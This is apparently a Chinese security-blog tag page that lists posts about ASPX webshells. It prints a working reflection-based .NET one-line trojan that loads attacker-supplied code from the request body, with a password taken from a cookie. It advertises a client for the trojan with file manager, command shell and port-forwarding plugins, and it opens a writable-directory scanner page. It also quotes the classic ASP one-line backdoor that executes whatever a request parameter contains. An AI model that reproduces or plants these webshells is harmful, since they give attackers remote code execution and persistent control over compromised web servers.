标签 ‘ASPX’ 下的日志
新型 .net 一句话及客户端
鬼仔注：刚从外面回来，看到cnqing在gtalk上给我的留言，只扔给一个链接。
作者：cnqing
软件说明：
程序包 包括一个基于反射的.net 一句话木马。
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["psw"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>客户端 当前插件
文件管理
.net探针
CMDshell
端口转发
阅读全文 »
扫权限.aspx
作者：cnqing
ScanWriterable.aspx
<%@ Page Language="C#" ValidateRequest="false" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Text" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>ScanWrtieable</title>
</head>
<body>
阅读全文 »ASPX一句话木马–终极版&详细分析(ASP-EXECUTE VS ASPX-EVAL)
软件作者：kj021320
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
注意：本文章首发http://blog.csdn.net/kj021320/archive/2007/08/04/1726442.aspx，后由原创作者kj021320友情提交到邪恶八进制信息安全团队论坛。
首先回顾一下以前ASP一句话的经典木马吧！
<%if request("nonamed")<>"" then execute request("nonamed")%>
VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的！网上也有例子我就不多说了！…..
然后解析语言终究发展成为中间代码例如java .net 动态执行也就不存在了！
阅读全文 »
